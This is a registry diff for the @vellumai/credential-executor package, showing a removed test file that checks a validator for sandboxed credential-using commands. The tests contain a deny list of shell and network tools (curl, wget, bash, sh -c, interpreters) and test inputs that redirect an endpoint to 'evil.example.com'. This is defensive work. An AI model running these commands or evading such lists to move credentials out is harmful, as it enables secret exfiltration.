@vellumai/credential-executor 0.10.7 → 0.10.8-dev.202607102228.5945895

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (65) hide show
  1. package/Dockerfile +1 -1
  2. package/node_modules/@vellumai/service-contracts/package.json +1 -2
  3. package/node_modules/@vellumai/service-contracts/src/__tests__/attachment-naming.test.ts +104 -0
  4. package/node_modules/@vellumai/service-contracts/src/__tests__/contracts.test.ts +0 -2
  5. package/node_modules/@vellumai/service-contracts/src/attachment-naming.ts +118 -0
  6. package/node_modules/@vellumai/service-contracts/src/credential-rpc.ts +3 -5
  7. package/node_modules/@vellumai/service-contracts/src/index.ts +2 -4
  8. package/node_modules/@vellumai/service-contracts/src/rpc.ts +4 -447
  9. package/package.json +2 -3
  10. package/src/__tests__/bulk-set-credentials.test.ts +1 -1
  11. package/src/__tests__/local-standalone.test.ts +5 -36
  12. package/src/__tests__/managed-integration.test.ts +112 -91
  13. package/src/__tests__/managed-reconnect.test.ts +2 -2
  14. package/src/__tests__/transport.test.ts +23 -27
  15. package/src/cli.ts +1 -1
  16. package/src/index.ts +8 -88
  17. package/src/main.ts +228 -340
  18. package/src/paths.ts +4 -20
  19. package/src/server.ts +52 -469
  20. package/node_modules/@vellumai/service-contracts/src/__tests__/grants.test.ts +0 -686
  21. package/node_modules/@vellumai/service-contracts/src/grants.ts +0 -184
  22. package/node_modules/@vellumai/service-contracts/src/rendering.ts +0 -135
  23. package/src/__tests__/command-executor.test.ts +0 -1879
  24. package/src/__tests__/command-validator.test.ts +0 -1405
  25. package/src/__tests__/command-workspace.test.ts +0 -1050
  26. package/src/__tests__/grant-store.test.ts +0 -689
  27. package/src/__tests__/http-executor.test.ts +0 -1336
  28. package/src/__tests__/http-policy.test.ts +0 -1069
  29. package/src/__tests__/local-materializers.test.ts +0 -860
  30. package/src/__tests__/local-token-refresh.test.ts +0 -361
  31. package/src/__tests__/manage-secure-command-tool.test.ts +0 -134
  32. package/src/__tests__/managed-lazy-getters.test.ts +0 -359
  33. package/src/__tests__/managed-materializers.test.ts +0 -1028
  34. package/src/__tests__/managed-rejection.test.ts +0 -43
  35. package/src/__tests__/toolstore.test.ts +0 -773
  36. package/src/audit/store.ts +0 -188
  37. package/src/commands/auth-adapters.ts +0 -169
  38. package/src/commands/egress-hooks.ts +0 -203
  39. package/src/commands/executor.ts +0 -1155
  40. package/src/commands/output-scan.ts +0 -157
  41. package/src/commands/profiles.ts +0 -286
  42. package/src/commands/validator.ts +0 -702
  43. package/src/commands/workspace.ts +0 -550
  44. package/src/grants/index.ts +0 -17
  45. package/src/grants/persistent-store.ts +0 -309
  46. package/src/grants/rpc-handlers.ts +0 -293
  47. package/src/grants/temporary-store.ts +0 -289
  48. package/src/http/audit.ts +0 -84
  49. package/src/http/executor.ts +0 -684
  50. package/src/http/path-template.ts +0 -245
  51. package/src/http/policy.ts +0 -238
  52. package/src/http/response-filter.ts +0 -233
  53. package/src/managed-errors.ts +0 -9
  54. package/src/managed-lazy-getters.ts +0 -106
  55. package/src/managed-main.ts +0 -822
  56. package/src/materializers/local-oauth-lookup.ts +0 -98
  57. package/src/materializers/local-token-refresh.ts +0 -287
  58. package/src/materializers/local.ts +0 -316
  59. package/src/materializers/managed-platform.ts +0 -295
  60. package/src/subjects/local.ts +0 -177
  61. package/src/subjects/managed.ts +0 -311
  62. package/src/subjects/policy.ts +0 -79
  63. package/src/toolstore/integrity.ts +0 -94
  64. package/src/toolstore/manifest.ts +0 -154
  65. package/src/toolstore/publish.ts +0 -571
@@ -1,1405 +0,0 @@
1
- import { describe, expect, test } from "bun:test";
2
- import {
3
- type SecureCommandManifest,
4
- MANIFEST_SCHEMA_VERSION,
5
- EgressMode,
6
- isDeniedBinary,
7
- DENIED_BINARIES,
8
- } from "../commands/profiles.js";
9
- import { AuthAdapterType } from "../commands/auth-adapters.js";
10
- import {
11
- validateManifest,
12
- validateCommand,
13
- matchesArgvPattern,
14
- extractShellBinary,
15
- containsShellMetacharacters,
16
- } from "../commands/validator.js";
17
-
18
- // ---------------------------------------------------------------------------
19
- // Helpers
20
- // ---------------------------------------------------------------------------
21
-
22
- /**
23
- * Build a minimal valid manifest for testing. Override individual fields
24
- * by passing partial overrides.
25
- */
26
- function buildManifest(
27
- overrides: Partial<SecureCommandManifest> = {},
28
- ): SecureCommandManifest {
29
- return {
30
- schemaVersion: MANIFEST_SCHEMA_VERSION,
31
- bundleDigest: "sha256:abc123def456",
32
- bundleId: "gh-cli",
33
- version: "2.45.0",
34
- entrypoint: "bin/gh",
35
- commandProfiles: {
36
- "api-read": {
37
- description: "Read-only GitHub API calls",
38
- allowedArgvPatterns: [
39
- {
40
- name: "api-get",
41
- tokens: ["api", "<endpoint>", "--method", "GET"],
42
- },
43
- ],
44
- deniedSubcommands: ["auth login", "auth logout"],
45
- deniedFlags: ["--exec"],
46
- allowedNetworkTargets: [
47
- {
48
- hostPattern: "api.github.com",
49
- protocols: ["https"],
50
- },
51
- ],
52
- },
53
- },
54
- authAdapter: {
55
- type: AuthAdapterType.EnvVar,
56
- envVarName: "GH_TOKEN",
57
- },
58
- egressMode: EgressMode.ProxyRequired,
59
- ...overrides,
60
- };
61
- }
62
-
63
- // ---------------------------------------------------------------------------
64
- // Manifest validation
65
- // ---------------------------------------------------------------------------
66
-
67
- describe("validateManifest", () => {
68
- test("accepts a valid manifest", () => {
69
- const result = validateManifest(buildManifest());
70
- expect(result.valid).toBe(true);
71
- expect(result.errors).toHaveLength(0);
72
- });
73
-
74
- // -- Denied binaries (entrypoint) -----------------------------------------
75
-
76
- test("rejects curl as entrypoint", () => {
77
- const result = validateManifest(
78
- buildManifest({ entrypoint: "/usr/bin/curl", bundleId: "curl-tool" }),
79
- );
80
- expect(result.valid).toBe(false);
81
- expect(result.errors.some((e) => e.includes("curl"))).toBe(true);
82
- expect(
83
- result.errors.some((e) => e.includes("structurally denied binary")),
84
- ).toBe(true);
85
- });
86
-
87
- test("rejects wget as entrypoint", () => {
88
- const result = validateManifest(
89
- buildManifest({ entrypoint: "bin/wget" }),
90
- );
91
- expect(result.valid).toBe(false);
92
- expect(result.errors.some((e) => e.includes("wget"))).toBe(true);
93
- });
94
-
95
- test("rejects httpie as entrypoint", () => {
96
- const result = validateManifest(
97
- buildManifest({ entrypoint: "/usr/local/bin/http" }),
98
- );
99
- expect(result.valid).toBe(false);
100
- expect(result.errors.some((e) => e.includes("http"))).toBe(true);
101
- });
102
-
103
- test("rejects python interpreter as entrypoint", () => {
104
- const result = validateManifest(
105
- buildManifest({ entrypoint: "/usr/bin/python3" }),
106
- );
107
- expect(result.valid).toBe(false);
108
- expect(result.errors.some((e) => e.includes("python3"))).toBe(true);
109
- });
110
-
111
- test("rejects node interpreter as entrypoint", () => {
112
- const result = validateManifest(
113
- buildManifest({ entrypoint: "/usr/local/bin/node" }),
114
- );
115
- expect(result.valid).toBe(false);
116
- expect(result.errors.some((e) => e.includes("node"))).toBe(true);
117
- });
118
-
119
- test("rejects bash shell as entrypoint", () => {
120
- const result = validateManifest(
121
- buildManifest({ entrypoint: "/bin/bash" }),
122
- );
123
- expect(result.valid).toBe(false);
124
- expect(result.errors.some((e) => e.includes("bash"))).toBe(true);
125
- });
126
-
127
- test("rejects sh shell as entrypoint", () => {
128
- const result = validateManifest(
129
- buildManifest({ entrypoint: "/bin/sh" }),
130
- );
131
- expect(result.valid).toBe(false);
132
- expect(result.errors.some((e) => e.includes("sh"))).toBe(true);
133
- });
134
-
135
- test("rejects env trampoline as entrypoint", () => {
136
- const result = validateManifest(
137
- buildManifest({ entrypoint: "/usr/bin/env" }),
138
- );
139
- expect(result.valid).toBe(false);
140
- expect(result.errors.some((e) => e.includes("env"))).toBe(true);
141
- });
142
-
143
- test("rejects busybox as entrypoint", () => {
144
- const result = validateManifest(
145
- buildManifest({ entrypoint: "/usr/bin/busybox" }),
146
- );
147
- expect(result.valid).toBe(false);
148
- expect(result.errors.some((e) => e.includes("busybox"))).toBe(true);
149
- expect(
150
- result.errors.some((e) => e.includes("structurally denied binary")),
151
- ).toBe(true);
152
- });
153
-
154
- test("rejects toybox as entrypoint", () => {
155
- const result = validateManifest(
156
- buildManifest({ entrypoint: "/usr/bin/toybox" }),
157
- );
158
- expect(result.valid).toBe(false);
159
- expect(result.errors.some((e) => e.includes("toybox"))).toBe(true);
160
- expect(
161
- result.errors.some((e) => e.includes("structurally denied binary")),
162
- ).toBe(true);
163
- });
164
-
165
- test("rejects bundleId matching a denied binary", () => {
166
- const result = validateManifest(
167
- buildManifest({
168
- entrypoint: "bin/my-curl-wrapper",
169
- bundleId: "curl",
170
- }),
171
- );
172
- expect(result.valid).toBe(false);
173
- expect(
174
- result.errors.some(
175
- (e) => e.includes("bundleId") && e.includes("curl"),
176
- ),
177
- ).toBe(true);
178
- });
179
-
180
- // -- Missing egress mode ---------------------------------------------------
181
-
182
- test("rejects manifest with missing egressMode", () => {
183
- const manifest = buildManifest();
184
- // @ts-expect-error testing runtime validation with missing field
185
- delete manifest.egressMode;
186
- const result = validateManifest(manifest);
187
- expect(result.valid).toBe(false);
188
- expect(result.errors.some((e) => e.includes("egressMode"))).toBe(true);
189
- });
190
-
191
- test("rejects manifest with invalid egressMode", () => {
192
- const result = validateManifest(
193
- buildManifest({
194
- // @ts-expect-error testing invalid value
195
- egressMode: "direct",
196
- }),
197
- );
198
- expect(result.valid).toBe(false);
199
- expect(
200
- result.errors.some(
201
- (e) => e.includes("egressMode") && e.includes("direct"),
202
- ),
203
- ).toBe(true);
204
- });
205
-
206
- // -- Missing auth adapter ---------------------------------------------------
207
-
208
- test("rejects manifest with missing authAdapter", () => {
209
- const manifest = buildManifest();
210
- // @ts-expect-error testing runtime validation with missing field
211
- delete manifest.authAdapter;
212
- const result = validateManifest(manifest);
213
- expect(result.valid).toBe(false);
214
- expect(result.errors.some((e) => e.includes("authAdapter"))).toBe(true);
215
- });
216
-
217
- // -- Empty command profiles -------------------------------------------------
218
-
219
- test("rejects manifest with no command profiles", () => {
220
- const result = validateManifest(
221
- buildManifest({ commandProfiles: {} }),
222
- );
223
- expect(result.valid).toBe(false);
224
- expect(
225
- result.errors.some((e) =>
226
- e.includes("At least one command profile"),
227
- ),
228
- ).toBe(true);
229
- });
230
-
231
- // -- Denied subcommands in profiles -----------------------------------------
232
-
233
- test("rejects profile with empty allowed argv patterns", () => {
234
- const result = validateManifest(
235
- buildManifest({
236
- commandProfiles: {
237
- "empty-profile": {
238
- description: "A profile with no patterns",
239
- allowedArgvPatterns: [],
240
- deniedSubcommands: [],
241
- },
242
- },
243
- }),
244
- );
245
- expect(result.valid).toBe(false);
246
- expect(
247
- result.errors.some((e) => e.includes("allowedArgvPattern")),
248
- ).toBe(true);
249
- });
250
-
251
- // -- Overbroad patterns -----------------------------------------------------
252
-
253
- test("rejects overbroad argv pattern (single rest placeholder)", () => {
254
- const result = validateManifest(
255
- buildManifest({
256
- commandProfiles: {
257
- overbroad: {
258
- description: "Matches anything",
259
- allowedArgvPatterns: [
260
- { name: "everything", tokens: ["<args...>"] },
261
- ],
262
- deniedSubcommands: [],
263
- allowedNetworkTargets: [
264
- { hostPattern: "api.github.com", protocols: ["https"] },
265
- ],
266
- },
267
- },
268
- }),
269
- );
270
- expect(result.valid).toBe(false);
271
- expect(result.errors.some((e) => e.includes("too broad"))).toBe(true);
272
- });
273
-
274
- // -- proxy_required without network targets --------------------------------
275
-
276
- test("rejects proxy_required profile without network targets", () => {
277
- const result = validateManifest(
278
- buildManifest({
279
- egressMode: EgressMode.ProxyRequired,
280
- commandProfiles: {
281
- "no-targets": {
282
- description: "Proxy but no targets",
283
- allowedArgvPatterns: [
284
- { name: "run", tokens: ["run", "<task>"] },
285
- ],
286
- deniedSubcommands: [],
287
- // No allowedNetworkTargets
288
- },
289
- },
290
- }),
291
- );
292
- expect(result.valid).toBe(false);
293
- expect(
294
- result.errors.some(
295
- (e) =>
296
- e.includes("proxy_required") &&
297
- e.includes("allowedNetworkTargets"),
298
- ),
299
- ).toBe(true);
300
- });
301
-
302
- // -- no_network with network targets (contradictory) -----------------------
303
-
304
- test("rejects no_network profile with network targets", () => {
305
- const result = validateManifest(
306
- buildManifest({
307
- egressMode: EgressMode.NoNetwork,
308
- commandProfiles: {
309
- "contradictory": {
310
- description: "No network but has targets",
311
- allowedArgvPatterns: [
312
- { name: "run", tokens: ["format", "<file>"] },
313
- ],
314
- deniedSubcommands: [],
315
- allowedNetworkTargets: [
316
- { hostPattern: "example.com", protocols: ["https"] },
317
- ],
318
- },
319
- },
320
- }),
321
- );
322
- expect(result.valid).toBe(false);
323
- expect(
324
- result.errors.some(
325
- (e) =>
326
- e.includes("no_network") && e.includes("contradictory"),
327
- ),
328
- ).toBe(true);
329
- });
330
-
331
- // -- Valid no_network manifest ---------------------------------------------
332
-
333
- test("accepts valid no_network manifest", () => {
334
- const result = validateManifest(
335
- buildManifest({
336
- egressMode: EgressMode.NoNetwork,
337
- commandProfiles: {
338
- "format": {
339
- description: "Format code files",
340
- allowedArgvPatterns: [
341
- { name: "format-file", tokens: ["format", "<file>"] },
342
- ],
343
- deniedSubcommands: [],
344
- },
345
- },
346
- }),
347
- );
348
- expect(result.valid).toBe(true);
349
- expect(result.errors).toHaveLength(0);
350
- });
351
-
352
- // -- Rest placeholder not at end -------------------------------------------
353
-
354
- test("rejects rest placeholder not at end of pattern", () => {
355
- const result = validateManifest(
356
- buildManifest({
357
- commandProfiles: {
358
- "bad-pattern": {
359
- description: "Rest placeholder in wrong position",
360
- allowedArgvPatterns: [
361
- {
362
- name: "bad",
363
- tokens: ["cmd", "<args...>", "--flag"],
364
- },
365
- ],
366
- deniedSubcommands: [],
367
- allowedNetworkTargets: [
368
- { hostPattern: "api.github.com", protocols: ["https"] },
369
- ],
370
- },
371
- },
372
- }),
373
- );
374
- expect(result.valid).toBe(false);
375
- expect(
376
- result.errors.some((e) => e.includes("rest placeholder")),
377
- ).toBe(true);
378
- });
379
-
380
- // -- Argv pattern tokens matching denied binaries --------------------------
381
-
382
- test("rejects argv pattern with wget as a literal token", () => {
383
- const result = validateManifest(
384
- buildManifest({
385
- commandProfiles: {
386
- "download": {
387
- description: "Download files",
388
- allowedArgvPatterns: [
389
- { name: "wget-url", tokens: ["wget", "<url>"] },
390
- ],
391
- deniedSubcommands: [],
392
- allowedNetworkTargets: [
393
- { hostPattern: "example.com", protocols: ["https"] },
394
- ],
395
- },
396
- },
397
- }),
398
- );
399
- expect(result.valid).toBe(false);
400
- expect(
401
- result.errors.some(
402
- (e) =>
403
- e.includes('"wget"') &&
404
- e.includes("denied binary"),
405
- ),
406
- ).toBe(true);
407
- });
408
-
409
- test("rejects argv pattern with sh as a literal token (shell trampoline)", () => {
410
- const result = validateManifest(
411
- buildManifest({
412
- commandProfiles: {
413
- "shell": {
414
- description: "Run shell command",
415
- allowedArgvPatterns: [
416
- { name: "shell-exec", tokens: ["sh", "-c", "<cmd>"] },
417
- ],
418
- deniedSubcommands: [],
419
- allowedNetworkTargets: [
420
- { hostPattern: "example.com", protocols: ["https"] },
421
- ],
422
- },
423
- },
424
- }),
425
- );
426
- expect(result.valid).toBe(false);
427
- expect(
428
- result.errors.some(
429
- (e) =>
430
- e.includes('"sh"') &&
431
- e.includes("denied binary"),
432
- ),
433
- ).toBe(true);
434
- });
435
-
436
- test("rejects argv pattern with curl as a literal token", () => {
437
- const result = validateManifest(
438
- buildManifest({
439
- commandProfiles: {
440
- "fetch": {
441
- description: "Fetch URL",
442
- allowedArgvPatterns: [
443
- { name: "curl-url", tokens: ["curl", "<url>"] },
444
- ],
445
- deniedSubcommands: [],
446
- allowedNetworkTargets: [
447
- { hostPattern: "example.com", protocols: ["https"] },
448
- ],
449
- },
450
- },
451
- }),
452
- );
453
- expect(result.valid).toBe(false);
454
- expect(
455
- result.errors.some(
456
- (e) =>
457
- e.includes('"curl"') &&
458
- e.includes("denied binary"),
459
- ),
460
- ).toBe(true);
461
- });
462
-
463
- test("allows argv pattern with non-denied literal tokens", () => {
464
- const result = validateManifest(
465
- buildManifest({
466
- commandProfiles: {
467
- "api-read": {
468
- description: "Read-only API calls",
469
- allowedArgvPatterns: [
470
- {
471
- name: "api-get",
472
- tokens: ["api", "<endpoint>", "--method", "GET"],
473
- },
474
- ],
475
- deniedSubcommands: [],
476
- allowedNetworkTargets: [
477
- { hostPattern: "api.github.com", protocols: ["https"] },
478
- ],
479
- },
480
- },
481
- }),
482
- );
483
- expect(result.valid).toBe(true);
484
- });
485
-
486
- test("does not flag placeholder tokens as denied binaries", () => {
487
- // Placeholders like <url> should not be checked against the denylist
488
- const result = validateManifest(
489
- buildManifest({
490
- commandProfiles: {
491
- "api-read": {
492
- description: "Read-only API calls",
493
- allowedArgvPatterns: [
494
- {
495
- name: "api-get",
496
- tokens: ["api", "<endpoint>", "<args...>"],
497
- },
498
- ],
499
- deniedSubcommands: [],
500
- allowedNetworkTargets: [
501
- { hostPattern: "api.github.com", protocols: ["https"] },
502
- ],
503
- },
504
- },
505
- }),
506
- );
507
- expect(result.valid).toBe(true);
508
- });
509
-
510
- test("allows denied binary names in non-executable argv positions", () => {
511
- // Names like "https", "exec", "http" overlap with DENIED_BINARIES but
512
- // are valid argument values when not in the first (executable) position.
513
- const result = validateManifest(
514
- buildManifest({
515
- commandProfiles: {
516
- "connect": {
517
- description: "Connect with scheme",
518
- allowedArgvPatterns: [
519
- {
520
- name: "connect-https",
521
- tokens: ["connect", "--scheme", "https"],
522
- },
523
- {
524
- name: "run-mode",
525
- tokens: ["run", "--mode", "exec", "<target>"],
526
- },
527
- ],
528
- deniedSubcommands: [],
529
- allowedNetworkTargets: [
530
- { hostPattern: "example.com", protocols: ["https"] },
531
- ],
532
- },
533
- },
534
- }),
535
- );
536
- expect(result.valid).toBe(true);
537
- });
538
-
539
- // -- Auth adapter validation -----------------------------------------------
540
-
541
- test("rejects auth adapter with empty envVarName", () => {
542
- const result = validateManifest(
543
- buildManifest({
544
- authAdapter: {
545
- type: AuthAdapterType.EnvVar,
546
- envVarName: "",
547
- },
548
- }),
549
- );
550
- expect(result.valid).toBe(false);
551
- expect(
552
- result.errors.some((e) => e.includes("envVarName")),
553
- ).toBe(true);
554
- });
555
-
556
- test("rejects credential_process adapter with empty helperCommand", () => {
557
- const result = validateManifest(
558
- buildManifest({
559
- authAdapter: {
560
- type: AuthAdapterType.CredentialProcess,
561
- helperCommand: "",
562
- envVarName: "AWS_CREDENTIALS",
563
- },
564
- }),
565
- );
566
- expect(result.valid).toBe(false);
567
- expect(
568
- result.errors.some((e) => e.includes("helperCommand")),
569
- ).toBe(true);
570
- });
571
-
572
- test("accepts valid temp_file adapter", () => {
573
- const result = validateManifest(
574
- buildManifest({
575
- authAdapter: {
576
- type: AuthAdapterType.TempFile,
577
- envVarName: "GOOGLE_APPLICATION_CREDENTIALS",
578
- fileExtension: ".json",
579
- fileMode: 0o400,
580
- },
581
- }),
582
- );
583
- expect(result.valid).toBe(true);
584
- });
585
-
586
- test("rejects temp_file adapter with too permissive fileMode", () => {
587
- const result = validateManifest(
588
- buildManifest({
589
- authAdapter: {
590
- type: AuthAdapterType.TempFile,
591
- envVarName: "GOOGLE_APPLICATION_CREDENTIALS",
592
- fileMode: 0o644,
593
- },
594
- }),
595
- );
596
- expect(result.valid).toBe(false);
597
- expect(result.errors.some((e) => e.includes("fileMode"))).toBe(true);
598
- });
599
-
600
- // -- Multiple errors reported exhaustively ----------------------------------
601
-
602
- test("reports multiple errors exhaustively", () => {
603
- const result = validateManifest(
604
- buildManifest({
605
- bundleDigest: "",
606
- entrypoint: "/bin/bash",
607
- commandProfiles: {},
608
- // @ts-expect-error testing invalid value
609
- egressMode: "unrestricted",
610
- }),
611
- );
612
- expect(result.valid).toBe(false);
613
- // Should have at least 3 errors: bundleDigest, entrypoint, commandProfiles, egressMode
614
- expect(result.errors.length).toBeGreaterThanOrEqual(3);
615
- });
616
- });
617
-
618
- // ---------------------------------------------------------------------------
619
- // isDeniedBinary
620
- // ---------------------------------------------------------------------------
621
-
622
- describe("isDeniedBinary", () => {
623
- test("denies curl by name", () => {
624
- expect(isDeniedBinary("curl")).toBe(true);
625
- });
626
-
627
- test("denies curl by full path", () => {
628
- expect(isDeniedBinary("/usr/bin/curl")).toBe(true);
629
- });
630
-
631
- test("denies wget", () => {
632
- expect(isDeniedBinary("wget")).toBe(true);
633
- });
634
-
635
- test("denies httpie variants", () => {
636
- expect(isDeniedBinary("http")).toBe(true);
637
- expect(isDeniedBinary("https")).toBe(true);
638
- expect(isDeniedBinary("httpie")).toBe(true);
639
- });
640
-
641
- test("denies interpreters", () => {
642
- expect(isDeniedBinary("python")).toBe(true);
643
- expect(isDeniedBinary("python3")).toBe(true);
644
- expect(isDeniedBinary("node")).toBe(true);
645
- expect(isDeniedBinary("bun")).toBe(true);
646
- expect(isDeniedBinary("deno")).toBe(true);
647
- expect(isDeniedBinary("ruby")).toBe(true);
648
- expect(isDeniedBinary("perl")).toBe(true);
649
- expect(isDeniedBinary("php")).toBe(true);
650
- });
651
-
652
- test("denies multi-call umbrella binaries", () => {
653
- expect(isDeniedBinary("busybox")).toBe(true);
654
- expect(isDeniedBinary("toybox")).toBe(true);
655
- expect(isDeniedBinary("/usr/bin/busybox")).toBe(true);
656
- expect(isDeniedBinary("/usr/bin/toybox")).toBe(true);
657
- });
658
-
659
- test("denies shell trampolines", () => {
660
- expect(isDeniedBinary("bash")).toBe(true);
661
- expect(isDeniedBinary("sh")).toBe(true);
662
- expect(isDeniedBinary("zsh")).toBe(true);
663
- expect(isDeniedBinary("env")).toBe(true);
664
- expect(isDeniedBinary("xargs")).toBe(true);
665
- });
666
-
667
- test("allows legitimate CLIs", () => {
668
- expect(isDeniedBinary("gh")).toBe(false);
669
- expect(isDeniedBinary("aws")).toBe(false);
670
- expect(isDeniedBinary("gcloud")).toBe(false);
671
- expect(isDeniedBinary("terraform")).toBe(false);
672
- expect(isDeniedBinary("kubectl")).toBe(false);
673
- });
674
- });
675
-
676
- // ---------------------------------------------------------------------------
677
- // matchesArgvPattern
678
- // ---------------------------------------------------------------------------
679
-
680
- describe("matchesArgvPattern", () => {
681
- test("matches exact literal tokens", () => {
682
- const pattern = { name: "list", tokens: ["repo", "list"] };
683
- expect(matchesArgvPattern(["repo", "list"], pattern)).toBe(true);
684
- expect(matchesArgvPattern(["repo", "create"], pattern)).toBe(false);
685
- expect(matchesArgvPattern(["repo"], pattern)).toBe(false);
686
- expect(matchesArgvPattern(["repo", "list", "extra"], pattern)).toBe(false);
687
- });
688
-
689
- test("matches single placeholder", () => {
690
- const pattern = {
691
- name: "api-get",
692
- tokens: ["api", "<endpoint>", "--method", "GET"],
693
- };
694
- expect(
695
- matchesArgvPattern(["api", "/repos", "--method", "GET"], pattern),
696
- ).toBe(true);
697
- expect(
698
- matchesArgvPattern(["api", "/issues", "--method", "GET"], pattern),
699
- ).toBe(true);
700
- expect(
701
- matchesArgvPattern(["api", "/repos", "--method", "POST"], pattern),
702
- ).toBe(false);
703
- });
704
-
705
- test("matches rest placeholder", () => {
706
- const pattern = {
707
- name: "run-args",
708
- tokens: ["run", "<args...>"],
709
- };
710
- expect(matchesArgvPattern(["run", "build"], pattern)).toBe(true);
711
- expect(matchesArgvPattern(["run", "build", "--watch"], pattern)).toBe(true);
712
- // Rest requires at least one arg
713
- expect(matchesArgvPattern(["run"], pattern)).toBe(false);
714
- });
715
-
716
- test("empty argv never matches", () => {
717
- const pattern = { name: "any", tokens: ["cmd"] };
718
- expect(matchesArgvPattern([], pattern)).toBe(false);
719
- });
720
- });
721
-
722
- // ---------------------------------------------------------------------------
723
- // validateCommand
724
- // ---------------------------------------------------------------------------
725
-
726
- describe("validateCommand", () => {
727
- const manifest = buildManifest();
728
-
729
- test("allows command matching an allowed pattern", () => {
730
- const result = validateCommand(manifest, [
731
- "api",
732
- "/repos/owner/repo",
733
- "--method",
734
- "GET",
735
- ]);
736
- expect(result.allowed).toBe(true);
737
- expect(result.matchedProfile).toBe("api-read");
738
- expect(result.matchedPattern).toBe("api-get");
739
- });
740
-
741
- test("denies command with denied subcommand", () => {
742
- const result = validateCommand(manifest, ["auth", "login"]);
743
- expect(result.allowed).toBe(false);
744
- expect(result.reason).toContain("auth login");
745
- expect(result.reason).toContain("denied");
746
- });
747
-
748
- test("denies command with denied flag", () => {
749
- const result = validateCommand(manifest, [
750
- "api",
751
- "/repos",
752
- "--exec",
753
- "GET",
754
- ]);
755
- expect(result.allowed).toBe(false);
756
- expect(result.reason).toContain("--exec");
757
- expect(result.reason).toContain("denied");
758
- });
759
-
760
- test("denies command matching no pattern", () => {
761
- const result = validateCommand(manifest, [
762
- "issue",
763
- "create",
764
- "--title",
765
- "bug",
766
- ]);
767
- expect(result.allowed).toBe(false);
768
- expect(result.reason).toContain("does not match any allowed pattern");
769
- });
770
-
771
- test("denies empty argv", () => {
772
- const result = validateCommand(manifest, []);
773
- expect(result.allowed).toBe(false);
774
- expect(result.reason).toContain("Empty argv");
775
- });
776
-
777
- test("denies undeclared flags even when pattern would match", () => {
778
- // The argv without the denied flag would match, but the flag should cause rejection
779
- const manifestWithDeniedFlags = buildManifest({
780
- commandProfiles: {
781
- "api-read": {
782
- description: "Read-only GitHub API calls",
783
- allowedArgvPatterns: [
784
- {
785
- name: "api-call",
786
- tokens: ["api", "<endpoint>", "<args...>"],
787
- },
788
- ],
789
- deniedSubcommands: [],
790
- deniedFlags: ["--unsafe-perm", "--exec"],
791
- allowedNetworkTargets: [
792
- { hostPattern: "api.github.com", protocols: ["https"] },
793
- ],
794
- },
795
- },
796
- });
797
-
798
- const result = validateCommand(manifestWithDeniedFlags, [
799
- "api",
800
- "/repos",
801
- "--unsafe-perm",
802
- ]);
803
- expect(result.allowed).toBe(false);
804
- expect(result.reason).toContain("--unsafe-perm");
805
- });
806
-
807
- test("denies --flag=value form of denied flags", () => {
808
- const manifestWithDeniedFlags = buildManifest({
809
- commandProfiles: {
810
- "api-read": {
811
- description: "Read-only GitHub API calls",
812
- allowedArgvPatterns: [
813
- {
814
- name: "api-call",
815
- tokens: ["api", "<endpoint>", "<args...>"],
816
- },
817
- ],
818
- deniedSubcommands: [],
819
- deniedFlags: ["--endpoint-url", "--exec"],
820
- allowedNetworkTargets: [
821
- { hostPattern: "api.github.com", protocols: ["https"] },
822
- ],
823
- },
824
- },
825
- });
826
-
827
- // --flag=value combined form should be caught
828
- const result = validateCommand(manifestWithDeniedFlags, [
829
- "api",
830
- "/repos",
831
- "--endpoint-url=https://evil.example.com",
832
- ]);
833
- expect(result.allowed).toBe(false);
834
- expect(result.reason).toContain("--endpoint-url");
835
-
836
- // --flag value (separate tokens) should still be caught
837
- const result2 = validateCommand(manifestWithDeniedFlags, [
838
- "api",
839
- "/repos",
840
- "--exec",
841
- ]);
842
- expect(result2.allowed).toBe(false);
843
- expect(result2.reason).toContain("--exec");
844
- });
845
-
846
- // -- Multi-profile matching ------------------------------------------------
847
-
848
- test("matches across multiple profiles", () => {
849
- const multiProfileManifest = buildManifest({
850
- commandProfiles: {
851
- read: {
852
- description: "Read operations",
853
- allowedArgvPatterns: [
854
- { name: "list", tokens: ["repo", "list"] },
855
- ],
856
- deniedSubcommands: [],
857
- allowedNetworkTargets: [
858
- { hostPattern: "api.github.com", protocols: ["https"] },
859
- ],
860
- },
861
- write: {
862
- description: "Write operations",
863
- allowedArgvPatterns: [
864
- { name: "create-issue", tokens: ["issue", "create", "<args...>"] },
865
- ],
866
- deniedSubcommands: [],
867
- allowedNetworkTargets: [
868
- { hostPattern: "api.github.com", protocols: ["https"] },
869
- ],
870
- },
871
- },
872
- });
873
-
874
- const readResult = validateCommand(multiProfileManifest, [
875
- "repo",
876
- "list",
877
- ]);
878
- expect(readResult.allowed).toBe(true);
879
- expect(readResult.matchedProfile).toBe("read");
880
-
881
- const writeResult = validateCommand(multiProfileManifest, [
882
- "issue",
883
- "create",
884
- "--title",
885
- "bug",
886
- ]);
887
- expect(writeResult.allowed).toBe(true);
888
- expect(writeResult.matchedProfile).toBe("write");
889
- });
890
- });
891
-
892
- // ---------------------------------------------------------------------------
893
- // credential_process helperCommand denied binary validation
894
- // ---------------------------------------------------------------------------
895
-
896
- describe("credential_process helperCommand denied binary validation", () => {
897
- test("rejects helperCommand starting with curl", () => {
898
- const result = validateManifest(
899
- buildManifest({
900
- authAdapter: {
901
- type: AuthAdapterType.CredentialProcess,
902
- helperCommand: "curl http://example.com",
903
- envVarName: "AWS_CREDENTIALS",
904
- },
905
- }),
906
- );
907
- expect(result.valid).toBe(false);
908
- expect(
909
- result.errors.some(
910
- (e) =>
911
- e.includes("credential_process") &&
912
- e.includes("denied binary") &&
913
- e.includes('"curl"'),
914
- ),
915
- ).toBe(true);
916
- });
917
-
918
- test("rejects helperCommand with absolute path to denied binary (python3)", () => {
919
- const result = validateManifest(
920
- buildManifest({
921
- authAdapter: {
922
- type: AuthAdapterType.CredentialProcess,
923
- helperCommand: "/usr/bin/python3 script.py",
924
- envVarName: "AWS_CREDENTIALS",
925
- },
926
- }),
927
- );
928
- expect(result.valid).toBe(false);
929
- expect(
930
- result.errors.some(
931
- (e) =>
932
- e.includes("credential_process") &&
933
- e.includes("denied binary") &&
934
- e.includes('"python3"'),
935
- ),
936
- ).toBe(true);
937
- });
938
-
939
- test("rejects helperCommand starting with bash", () => {
940
- const result = validateManifest(
941
- buildManifest({
942
- authAdapter: {
943
- type: AuthAdapterType.CredentialProcess,
944
- helperCommand: "bash -c 'echo test'",
945
- envVarName: "AWS_CREDENTIALS",
946
- },
947
- }),
948
- );
949
- expect(result.valid).toBe(false);
950
- expect(
951
